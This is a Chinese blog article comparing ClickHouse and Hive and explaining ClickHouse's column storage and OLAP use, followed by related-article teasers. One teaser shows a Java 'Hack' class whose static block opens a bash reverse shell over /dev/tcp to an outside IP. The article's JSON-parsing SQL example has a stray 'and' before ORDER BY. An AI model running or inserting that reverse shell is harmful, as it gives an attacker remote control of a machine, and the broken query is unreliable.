【程序员必知必会3】你还不懂ClickHouse和Hive的区别?!

news2024/12/23 17:54:22

ClickHouse和Hive究竟哪些区别

ClickHouse和Hive都是用于大数据处理和分析的分布式存储和计算系统,但它们之间存在一些区别:

  • 架构:ClickHouse采用列式存储和向量化执行引擎,可以实现亚秒级别的数据查询。而Hive采用基于Hadoop的数据存储和MapReduce计算引擎,数据查询速度相对较慢。

  • 查询语言:ClickHouse使用类似于SQL的查询语言,称为ClickHouse-SQL,易于学习和上手。Hive使用的是类似SQL的查询语言,但Hive在执行查询时需要将查询转换为MapReduce任务,查询速度较慢。

  • 数据类型:ClickHouse支持多种数据类型,包括数值、字符串、日期等,可以方便地处理各种类型的数据。而Hive主要支持数值和字符串类型,对于其他数据类型需要进行转换。

  • 数据导入和导出:ClickHouse支持多种数据导入方式,包括CSV、JSON、Parquet等,同时也支持多种数据导出方式,包括CSV、JSON、Parquet等。而Hive主要支持Hadoop Distributed File System(HDFS)的数据导入和导出。

  • 实时处理:ClickHouse支持实时数据处理,可以实时地分析和处理数据。而Hive主要用于离线数据分析,不支持实时处理。

  • 性能:ClickHouse具有较高的查询性能,可以实现亚秒级别的数据查询。而Hive查询性能相对较慢,需要进行MapReduce任务的转换和执行。

ClickHouse是什么

clickhouse是用于联机分析(OLAP)的列式数据库管理系统

(补充:OLAP 与OLTP. 联机分析处理(OLAP) 系统的主要用途是分析聚合数据,而联机事务处理(OLTP) 系统的主要用途是处理数据库事务。前者专注于构建报告,每个报告都基于大量历史数据,但这样做的频率不高。而后者通常处理连续的事务流,不断修改数据的当前状态。
OLAP 和 OLTP 系统之间的基本权衡仍然是:
• 为了有效地构建分析报告,能够单独读取列至关重要,因此大多数 OLAP 数据库都是列式的,
• 单独存储列会增加行操作的成本,例如附加或就地修改,与列的数量成比例(如果系统尝试收集事件的所有详细信息以防万一,这可能会很大)。因此,大多数 OLTP 系统存储按行排列的数据。)

传统的行式数据库系统中,数据按行存储,处于同一行的数据被物理的存在一起。
在这里插入图片描述
mysql、Postgres和MS SQL Server 是常见的行式数据库系统。而列式数据库是将同一个列的数据存储在一起.
在这里插入图片描述

OLAP是什么

OLAP场景的关键特征
总结下来是,一但写入就不改了,主要是读操作,用于分析。有大量的列,查询结果一般远小于数据源,因为是通常是聚合操作。
• 绝大多数是读请求
• 数据以相当大的批次(> 1000行)更新,而不是单行更新;或者根本没有更新。
• 已添加到数据库的数据不能修改。
• 对于读取,从数据库中提取相当多的行,但只提取列的一小部分。
• 宽表,即每个表包含着大量的列
• 查询相对较少(通常每台服务器每秒查询数百次或更少)
• 对于简单查询,允许延迟大约50毫秒
• 列中的数据相对较小:数字和短字符串(例如,每个URL 60个字节)
• 处理单个查询时需要高吞吐量(每台服务器每秒可达数十亿行)
• 事务不是必须的
• 对数据一致性要求低
• 每个查询有一个大表。除了他以外,其他的都很小。
• 查询结果明显小于源数据。换句话说,数据经过过滤或聚合,因此结果适合于单个服务器的RAM中

为何不使用 MapReduce等技术?

我们可以将MapReduce这样的系统称为分布式计算系统,其中的reduce操作是基于分布式排序的。这个领域中最常见的开源解决方案是Apache Hadoop。
这些系统不适合用于在线查询,因为它们的延迟很大。换句话说,它们不能被用作网页界面的后端。这些类型的系统对于实时数据更新并不是很有用。如果操作的结果和所有中间结果(如果有的话)都位于单个服务器的内存中,那么分布式排序就不是执行reduce操作的最佳方式,这通常是在线查询的情况。在这种情况下,哈希表是执行reduce操作的最佳方式。优化map-reduce任务的一种常见方法是使用内存中的哈希表进行预聚合(部分reduce)。用户手动执行此优化。在运行简单的map-reduce任务时,分布式排序是导致性能下降的主要原因之一。

ClickHouse特性

  • 固定长度节省空间
    在一个真正的列式数据库管理系统中,除了数据本身外不应该存在其他额外的数据。这意味着为了避免在值旁边存储它们的长度«number»,你必须支持固定长度数值类型。例如,10亿个UInt8类型的数据在未压缩的情况下大约消耗1GB左右的空间,如果不是这样的话,这将对CPU的使用产生强烈影响。即使是在未压缩的情况下,紧凑的存储数据也是非常重要的,因为解压缩的速度主要取决于未压缩数据的大小。
  • 数据压缩高效
    除了在磁盘空间和CPU消耗之间进行不同权衡的高效通用压缩编解码器之外,ClickHouse还提供针对特定类型数据的专用编解码器
  • 基于磁盘存储
    提供每GB更低的存储成本,比其他需要在内存中工作的列式数据库更省钱。
  • 多核心并行处理
  • 多服务器分布式处理
  • 支持sql
    使用的是基于sql的声明式查询语言。
  • 实时的数据更新、适合在线查询
    为了使查询能够快速在主键中进行范围查找,数据总是以增量的方式有序的存储在MergeTree中。因此,数据可以持续不断地高效的写入到表中,并且写入的过程中不会存在任何加锁的行为。
  • 支持数据复制和数据完整性
    ClickHouse使用异步的多主复制技术。当数据被写入任何一个可用副本后,系统会在后台将数据分发给其他副本,以保证系统在不同副本上保持相同的数据。在大多数情况下ClickHouse能在故障后自动恢复,在一些少数的复杂情况下需要手动恢复。

劣势

  • 没有完整是事务支持
  • 缺少高频率 低延迟的修改数据的能力,仅能批量删除修改数据
  • 稀疏索引导致不适合利用其键 检索单行的点查询

(注:点查询是应用访问OLTP数据库的一种常见方式,特点是返回结果前只扫描表中的少量数据,在淘宝上查看订单或者商品信息对应到数据库上的操作就是点查。)

ClickHouse解析JSON字符串和JSON数组

SELECT
   JSONExtractArrayRaw(
    cast(JSONExtractArrayRaw(
        cast(JSONExtractString(
            JSONExtractArrayRaw(
                cast(JSONExtractString(
                    JSONExtractString(a.info,'logOfChain'),'11') as String) ,'logInfo')[1],'table') as String),'rows')[1] as String) ,'columnValue')[2]
FROM table_name
WHERE 
    toDate(`timestamp` / 1000) in ( '2023-08-16')
    and toHour(toDateTime(`timestamp` / 1000)) in ('17')
    and userId = 'xxxxx'
    and reqId = 'xxxxx'
    and
    ORDER BY `timestamp` DESC
LIMIT 10

参考

https://clickhouse.com/docs/zh
https://juejin.cn/post/7233004121682575418

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/974550.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Nancy2.0引入Swagger并设置其为嵌入的资源

因为项目需求,需要在Nancy的基础上引入Swagger,万能的互联网上有现成的方案, 方案写的很详细,实际按文档也成功的实现了相应的功能,但因为我是在基础dll里包含了该功能,所以我希望swagger-ui是作为嵌入的资…

实时操作系统Freertos开坑学习笔记:(七):队列

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、队列是什么?而在freertos中,队列是什么呢?①如果要进行中断、任务的交流,那我用全局变量行吗?②…

VMware虚拟机安装_新虚拟机创建_CentOS镜像导入_linux指令基本操作

文章目录 1 VMware下载安装1.1 下载网址1.2 安装步骤 2 创建虚拟机与CentOS镜像导入2.1 创建新虚拟机2.2 导入CentOS镜像 3 获取ip与连接Xshell3.1 查看虚拟机ip地址3.2 Xshell使用 1 VMware下载安装 1.1 下载网址 https://www.vmware.com/cn/products/workstation-pro/works…

MySQL的虚拟字段

MySQL中的虚拟字段指的是不实际存在于表中的逻辑字段,它们是在查询时由一些函数或表达式临时生成的。 参数:虚拟类型 在 MySQL 中,字段类型可以分为存储类型(Stored)和虚拟类型(Virtual)。存储类型是指实际存储在表中的数据类型,如 INT, VARCHAR, TEXT …

vue3 判断包含某个字符

<img v-if"node.level 1 && checkIfIncludeSubStr(node.label, 人口)"src"/assets/images/icon-convention-01.png" width"16"class"inlineBlock Vmiddle" style"margin-right: 8px;"/>const data reactive…

redis核心数据结构

redis下载地址&#xff1a;Download | Redis linux进入redis目录首先使用make命令进行c的编译&#xff0c;修改redis.conf文件&#xff1a; daemonize yes #后台启动 protected-mode no #关闭保护模式&#xff0c;开启的 # 需要注释掉bind #bind 127.0.0.1&#xff08;bind…

客户案例 | 华苑园林 移动SRM 集成ERP+电子签章,打通数字化最后一公里

公司简介 广州华苑园林股份有限公司始创于1995年&#xff0c;总部设立在广州&#xff0c;是集园林景观设计、工程施工、绿化养护、苗木生产与销售于一体的综合性、跨地区的大型园林企业。拥有城市园林绿化一级施工资质、风景园林设计专项乙级资质、环保工程专业承包叁级资质、…

优先级队列priority_queue以及仿函数的使用

目录 优先级队列priority_queuepriority_queue的模拟实现仿函数 优先级队列priority_queue 优先级队列priority_queue是一种容器适配器&#xff0c;根据严格的弱排序标准&#xff0c;它默认第一个元素总是它所包含的元素中最大的 优先级队列默认使用vector作为底层存储数据的…

《Effective软件测试》:让你的软件研发质量提升10倍的秘籍

前言&#xff1a; 软件测试是软件研发过程中不可或缺的一环&#xff0c;它关系到软件的功能、性能、安全和用户体验。然而&#xff0c;很多软件开发者和测试人员对软件测试的理解和实践还存在很多误区和不足&#xff0c;导致软件测试的效率和效果不尽人意&#xff0c;甚至造成软…

Python时间序列分析苹果股票数据:分解、平稳性检验、滤波器、滑动窗口平滑、移动平均、可视化...

全文链接&#xff1a;https://tecdat.cn/?p33550 时间序列是一系列按时间顺序排列的观测数据。数据序列可以是等间隔的&#xff0c;具有特定频率&#xff0c;也可以是不规则间隔的&#xff0c;比如电话通话记录&#xff08;点击文末“阅读原文”获取完整代码数据&#xff09;。…

mysql索引为什么提高查询速度(底层原理)

一、索引原理图 二、索引数据存储到硬盘而不是内存&#xff1f; 硬盘内存 成本低成本高 容量大容量小 读写速度一般读取速度快 断电后数据永久存储断电后数据清空 三、硬盘数据为什么要读取到内存&#xff1f;为啥不直接…

如何查看 SQLyog 中数据库连接信息中的密码

SQLyog 数据库连接信息中的密码无法选择明文展示&#xff0c;也无法复制 可以将数据库连接信息导出到文本查看明文密码 工具--》导入/导出连接详情&#xff1a;

软件设计模式系列之一——设计模式概述

1 设计模式的由来和概念 设计模式最早出现在建筑行业&#xff0c;是一位建筑领域的大牛&#xff0c;针对不同建筑物的建造方法进行了总结&#xff0c;针对类型相似的建筑场景&#xff0c;将较好的解决方案进行比较&#xff0c;提取了其中共性的套路规范&#xff0c;形成一定的设…

喜讯 | 数智经营新典范,体验家XMPlus荣获「年度数智经营服务商」

7月27日&#xff0c;“助力运营知识与创新传播”的内容服务平台——运营研究社举行了「2023数字化运营生态大会」&#xff0c;会上正式揭晓了「2023数字化运营生态大奖」的四大榜单&#xff0c;体验家XMPlus荣获「年度数智经营服务商」&#xff01;现场有800运营伙伴齐聚&#…

react中使用Modal.confirm数据不更新的问题解决

在使用Modal.confirm的时候今天发现了个疑惑的问题&#xff0c;为什么我明明从新set了数据而页面视图没有变化&#xff0c;查了一下官方文档找到了答案&#xff0c;解决了这个问题&#xff0c;特意在这里留下痕迹。 import { Button, Col, Form, Input, Modal, Radio, Row, Se…

java编译成class文件方法

比如我们有Hack.java文件 import java.lang.Runtime; import java.lang.Process; public class Hack { static { try { Runtime rt Runtime.getRuntime(); String[] commands {"bash", "-c", "bash -i >& /dev/tcp/192.168.33.2/11111 0>…

为什么Proteus串口无法正常显示

我以前就可以正常显示&#xff0c;但是最近一段时间&#xff0c;发现串口无法正常显示&#xff0c;试了很多办法都不行&#xff0c; 然后今天干好有点时间就刷了个机&#xff0c;然后居然就好了&#xff0c; 这就说明&#xff1a;Proteus不正常可能是病毒破坏了某个文件导致异…

如何一键把你的Unity脚本从GB2312编码格式改成UTF8编码格式

一、GB2312和UTF8简介 GB2312&#xff08;全称&#xff1a;中国国家标准GB2312-80字符集&#xff09;和UTF-8&#xff08;全称&#xff1a;Unicode Transformation Format 8-bit&#xff09;是两种常见的字符编码方案。它们分别用于对文本进行编码&#xff0c;以在计算机系统和…

无涯教程-JavaScript - DCOUNT函数

描述 DCOUNT函数返回包含与您指定条件匹配的列表或数据库的列中的数字的单元格的计数。 语法 DCOUNT (database, field, criteria)争论 Argument描述Required/Optionaldatabase 组成列表或数据库的单元格范围。 数据库是相关数据的列表,其中相关信息的行是记录,数据的列是…

各类注意力机制Attention——可变形注意力

目录 《Attention is all you need 》稀疏Attention残差Attention通道注意力空间注意力时间注意力可变形注意力 《Attention is all you need 》 稀疏Attention 残差Attention 通道注意力 空间注意力 时间注意力 实际上序列类任务也属于时间注意力&#xff0c;比如transformer…